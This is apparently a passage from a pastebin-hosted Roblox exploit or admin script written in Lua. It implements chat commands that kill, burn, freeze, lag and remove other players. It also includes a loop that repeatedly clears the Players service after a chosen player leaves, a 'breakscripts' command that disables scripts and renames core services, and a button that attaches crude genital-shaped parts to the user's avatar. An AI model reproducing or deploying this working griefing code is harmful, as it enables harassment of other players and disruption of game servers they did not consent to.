  6098. local Option = Prompt(player, unpack(PeopleNames))
  6099. if Option then
  6100. Game:GetService("Players").PlayerRemoving:connect(function(Player)
  6101. if Player.Name == Option then
  6102. Instance.new("Message").Text = Player.Name.. " has been kicked or banned, bye bye."
  6103. while wait() do
  6104. pcall(function() Players:ClearAllChildren() end)
  6105. end
  6106. end
  6107. end)
  6108. end
  6109. elseif Command == "ragdoll" then
  6110. for _, Args in pairs(Arguments) do
  6111. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6112. if Player.Name:lower():find(Args:lower()) == 1 then
  6113. Player.Character.Humanoid:Destroy()
  6114. end
  6115. end
  6116. end
  6117. elseif Command == "unragdoll" then
  6118. for _, Args in pairs(Arguments) do
  6119. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6120. if Player.Name:lower():find(Args:lower()) == 1 then
  6121. local humanoid = Instance.new("Humanoid")
  6122. humanoid.Parent = Player.Character
  6123. humanoid.MaxHealth = 100
  6124. humanoid.Health = 100
  6125. end
  6126. end
  6127. end
  6128. elseif Command == "punish" then
  6129. for _, Args in pairs(Arguments) do
  6130. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6131. if Player.Name:lower():find(Args:lower()) == 1 then
  6132. Player.Character.Parent = game:GetService("Lighting")
  6133. end
  6134. end
  6135. end
  6136. elseif Command == "unpunish" then
  6137. for _, Args in pairs(Arguments) do
  6138. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6139. if Player.Name:lower():find(Args:lower()) == 1 then
  6140. Player.Character.Parent = game:GetService("Workspace")
  6141. Player.Character:MakeJoints()
  6142. end
  6143. end
  6144. end
  6145. elseif Command == "banlist" then
  6146. local OptionChoosen = Prompt(player, unpack(Banned))
  6147. elseif Command == "rsp" or Command == "respawn" then
  6148. for _, Args in pairs(Arguments) do
  6149. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6150. if Player.Name:lower():find(Args:lower()) == 1 then
  6151. local ack = Instance.new("Model",workspace)
  6152. local ack2 = Instance.new("Part",ack)
  6153. ack2.Anchored = true
  6154. ack2.Locked = true
  6155. ack2.Name = "Torso"
  6156. ack2.Transparency = 1
  6157. ack2.CanCollide = false
  6158. ack2.Position = Vector3.new(10000,10000,10000)
  6159. local ack3 = Instance.new("Humanoid")
  6160. ack3.Torso = ack4
  6161. ack3.Parent = ack
  6162. Player.Character = ack
  6163. end
  6164. end
  6165. end
  6166. elseif Command == "burn" then
  6167. for _, Args in pairs(Arguments) do
  6168. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6169. if Player.Name:lower():find(Args:lower()) == 1 then
  6170. firepwoer = Instance.new("Fire",Player.Character.Head)
  6171. game:GetService("Chat"):Chat(Player.Character.Head,"AHH IM ON FIRE",Enum.ChatColor.Red)
  6172. for i = 1,51 do
  6173. Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - 2
  6174. wait(.1)
  6175. end
  6176. Player.Character:BreakJoints()
  6177. end
  6178. end
  6179. end
  6180. elseif Command == "lag" then
  6181. for _, Args in pairs(Arguments) do
  6182. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6183. if Player.Name:lower():find(Args:lower()) == 1 then
  6184. for i=1, 16000 do
  6185. msgsl=Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil)
  6186. msgsl.Text = "You have been lagged."
  6187. end
  6188. end
  6189. end
  6190. end
  6191. elseif Command == "set" or Command == "settings" then
  6192. local Work = #game:GetService("Workspace"):children()
  6193. local Play = #game:GetService("Players"):children()
  6194. local Option = Prompt(player, "Book Settings","Player Settings", "There are "..Play.." player(s) in the server.", "There are "..Work.." object(s) in the Workspace")
  6195. if Option == "Player Settings" then
  6196. local Select = Prompt(player, "Respawn", "Reset")
  6197. if Select == "Respawn" then
  6198. local ack = Instance.new("Model",workspace)
  6199. local ack2 = Instance.new("Part",ack)
  6200. ack2.Anchored = true
  6201. ack2.Locked = true
  6202. ack2.Name = "Torso"
  6203. ack2.Transparency = 1
  6204. ack2.CanCollide = false
  6205. ack2.Position = Vector3.new(10000,10000,10000)
  6206. local ack3 = Instance.new("Humanoid")
  6207. ack3.Torso = ack4
  6208. ack3.Parent = ack
  6209. game:GetService("Players")[player.Name].Character = ack
  6210. elseif Select == "Reset" then
  6211. game:GetService("Players")[player.Name].Character:BreakJoints()
  6212. end
  6213. elseif Option == "Book Settings" then
  6214. local Option = Prompt(player, "Transparency", "Color")
  6215. if Option == "Color" then
  6216. local Option = Prompt(player, "Really red", "White", "Black", "Hot pink", "Bright yellow", "Navy blue")
  6217. if Option == "Really red" then
  6218. Settings.Color = BrickColor.new("Really red")
  6219. elseif Option == "White" then
  6220. Settings.Color = BrickColor.new("White")
  6221. elseif Option == "Black" then
  6222. Settings.Color = BrickColor.new("Black")
  6223. elseif Option == "Hot pink" then
  6224. Settings.Color = BrickColor.new("Hot pink")
  6225. elseif Option == "Bright yellow" then
  6226. Settings.Color = BrickColor.new("Bright yellow")
  6227. elseif Option == "Navy blue" then
  6228. Settings.Color = BrickColor.new("Navy blue")
  6229. end
  6230. elseif Option == "Transparency" then
  6231. local Option = Prompt(player, "0", "0.5", "0.7")
  6232. if Option == "0" then
  6233. Settings.Transparency = 0
  6234. elseif Option == "0.3" then
  6235. Settings.Transparency = 0.3
  6236. elseif Option == "0.5" then
  6237. Settings.Transparency = 0.5
  6238. elseif Option == "0.7" then
  6239. Settings.Transparency = 0.7
  6240. end
  6241. end
  6242. end
  6243. elseif Command == "expl" or Command == "explorer" then
  6244. local Option = Prompt(player, "Workspace", "Lighting", "Players", "Debris")
  6245. if Option == "Workspace" then
  6246. local Workspace = game:GetService("Workspace"):children()
  6247. local Names = {}
  6248. for _, v in pairs(Workspace) do
  6249. table.insert(Names, v.Name)
  6250. end
  6251. Prompt(player, unpack(Names))
  6252. elseif Option == "Lighting" then
  6253. local Lighting = game:GetService("Lighting"):children()
  6254. local Names = {}
  6255. for _, v in pairs(Lighting) do
  6256. table.insert(Names, v.Name)
  6257. end
  6258. Prompt(player, unpack(Names))
  6259. elseif Option == "Players" then
  6260. local Players = game:GetService("Players"):children()
  6261. local Names = {}
  6262. for _, v in pairs(Players) do
  6263. table.insert(Names, v.Name)
  6264. end
  6265. Prompt(player, unpack(Names))
  6266. elseif Option == "Debris" then
  6267. local Debris = game:GetService("Debris"):children()
  6268. local Names = {}
  6269. for _, v in pairs(Debris) do
  6270. table.insert(Names, v.Name)
  6271. end
  6272. Prompt(player, unpack(Names))
  6273. end
  6274. elseif Command == "breakscripts" and Admins[player.Name] == 3 then
  6275. Game:GetService("ScriptContext").ScriptsDisabled = true
  6276. Services = {
  6277. "Workspace",
  6278. "Debris",
  6279. "Players",
  6280. "Lighting",
  6281. "ScriptContext"
  6282. }
  6283. for i=1, #Services do
  6284. pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
  6285. end
  6286. --Idk if this works, just hope :3
  6287. local mt = {__index = function() return function() end end}
  6288. setmetatable(_G, mt)
  6289. elseif Command == "killmenu" then
  6290. local People = Game:GetService("Players"):GetPlayers()
  6291. local Names = {}
  6292. for _, v in pairs(People) do
  6293. table.insert(Names, v.Name)
  6294. end
  6295. local OptionChoosen = Prompt(player, unpack(Names))
  6296. print(OptionChoosen)
  6297. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  6298. if game:GetService("Players")[OptionChoosen].Character then
  6299. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  6300. end
  6301. else
  6302. print("Player missing")
  6303. end
  6304. elseif Command == "nil" then
  6305. for _, Args in pairs(Arguments) do
  6306. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6307. if Player.Name:lower():find(Args:lower()) == 1 then
  6308. Player.Character:Destroy()
  6309. end
  6310. end
  6311. end
  6312. elseif Command == "ps" then
  6313. for _, Args in pairs(Arguments) do
  6314. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6315. if Player.Name:lower():find(Args:lower()) == 1 then
  6316. Player.Character.Humanoid.PlatformStand = true
  6317. end
  6318. end
  6319. end
  6320. elseif Command == "unps" then
  6321. for _, Args in pairs(Arguments) do
  6322. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6323. if Player.Name:lower():find(Args:lower()) == 1 then
  6324. Player.Character.Humanoid.PlatformStand = false
  6325. end
  6326. end
  6327. end
  6328. elseif Command == "sit" then
  6329. for _, Args in pairs(Arguments) do
  6330. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6331. if Player.Name:lower():find(Args:lower()) == 1 then
  6332. Player.Character.Humanoid.Sit = true
  6333. end
  6334. end
  6335. end
  6336. elseif Command == "stand" then
  6337. for _, Args in pairs(Arguments) do
  6338. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6339. if Player.Name:lower():find(Args:lower()) == 1 then
  6340. Player.Character.Humanoid.Sit = false
  6341. end
  6342. end
  6343. end
  6344. elseif Command == "thaw" then
  6345. for _, Arg in pairs(Arguments) do
  6346. for thw, thawing in pairs(Game:GetService("Players"):GetPlayers()) do
  6347. if thawing.Name:lower():find(Arg:lower()) == 1 and thawing.Character then
  6348. for i,th in pairs(thawing.Character:GetChildren()) do
  6349. if th.ClassName == "Part" then
  6350. th.Anchored = false
  6351. th.Reflectance = 0
  6352. end
  6353. end
  6354. thawing.Character.Torso.Anchored = false
  6355. end
  6356. end
  6357. end
  6358. elseif Command == "freeze" then
  6359. for _, Arg in pairs(Arguments) do
  6360. for frrw, freezing in pairs(Game:GetService("Players"):GetPlayers()) do
  6361. if freezing.Name:lower():find(Arg:lower()) == 1 and freezing.Character then
  6362. for i,frrr in pairs(freezing.Character:GetChildren()) do
  6363. if frrr.ClassName == "Part" then
  6364. frrr.Anchored = true
  6365. frrr.Reflectance = 1
  6366. end
  6367. end
  6368. freezing.Character.Torso.Anchored = true
  6369. end
  6370. end
  6371. end
  6372. elseif Command == "kill" then
  6373. for _, Arg in pairs(Arguments) do
  6374. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  6375. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  6376. Player.Character:BreakJoints()
  6377. end
  6378. end
  6379. end
  6380. elseif Command == "test" then
  6381. Prompt(player,Settings.Name.." Version "..Settings.Version.." is working Master "..player.Name)
  6382. --[ End of onChat ]--
  6383. end
  6384. end
  6385. end
  6386. --[ End of onChat ]--
  6387. game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
  6388. --[ SB Mode ]--
  6389. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  6390. onPlayerAdded(player)
  6391. end
  6392. Game:GetService("RunService").Stepped:connect(function()
  6393. local S, E = pcall(function()
  6394. if LastClean == nil or time() - LastClean >= 10 then do
  6395. collectgarbage("collect")
  6396. LastClean = time()
  6397. end
  6398. end
  6399. if not S then
  6400. ErrorHandler(E)
  6401. end
  6402. end)
  6403. end)
  6404. end)
  6405.  
  6406. local button12 = Instance.new("TextButton", tl2)
  6407. button12.Size = UDim2.new(0,800,0,50)
  6408. button12.Position = UDim2.new(0,0,0,180)
  6409. button12.Text = 'Give yourself Balls!!'
  6410. button12.Font = 'Legacy'
  6411. button12.FontSize = 'Size14'
  6412. button12.BackgroundTransparency = 0.5
  6413. button12.BackgroundColor3 = Color3.new(46, 189, 168)
  6414. button12.BorderColor3 = Color3.new(46, 189, 168)
  6415. button12.TextColor3 = Color3.new(56, 255, 249)
  6416. button12.MouseButton1Click:connect(function()
  6417. plr = game.Players.LocalPlayer.Character -- BY THE WAY the penis is a cylinder, with balls. I can't make the full -- script because of chat limit when i exploit.
  6418. stick = Instance.new("Part", plr.Torso)
  6419. c = Instance.new("CylinderMesh", stick)
  6420. stick.Size = Vector3.new(2,8.2,2)
  6421. stick.BrickColor = BrickColor.new("Pastel brown")
  6422. stick.BottomSurface = "Smooth"
  6423. stick.TopSurface = "Smooth"
  6424. stick.Position = plr.Torso.Position
  6425. wstick = Instance.new("Weld",plr.Torso)
  6426. wstick.Part0 = wstick.Parent
  6427. wstick.Part1 = stick
  6428. wstick.C1 = CFrame.new(Vector3.new(0,3.5,-1.5)) * CFrame.Angles(80,0,0)
  6429. ball1 = Instance.new("Part",plr)
  6430. ball1.BrickColor = stick.BrickColor
  6431. ball1.Shape = "Ball"
  6432. ball1.Size = Vector3.new(3,3,3)
  6433. wb1 = Instance.new("Weld",plr.Torso)
  6434. wb1.Part0 = wstick.Part0
  6435. wb1.Part1 = ball1
  6436. ball1.BottomSurface = "Smooth"
  6437. ball1.TopSurface = "Smooth"
  6438. wb1.C1 = CFrame.new(Vector3.new(-0.5,1.5,0))
  6439. ball2 = ball1:clone()
  6440. ball2.Parent = plr
  6441. wb2 = Instance.new("Weld",plr.Torso)
  6442. wb2.Part0 = wstick.Part0
  6443. wb2.Part1 = ball2
  6444. wb2.C1 = CFrame.new(Vector3.new(0.5,1.5,0))
  6445. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement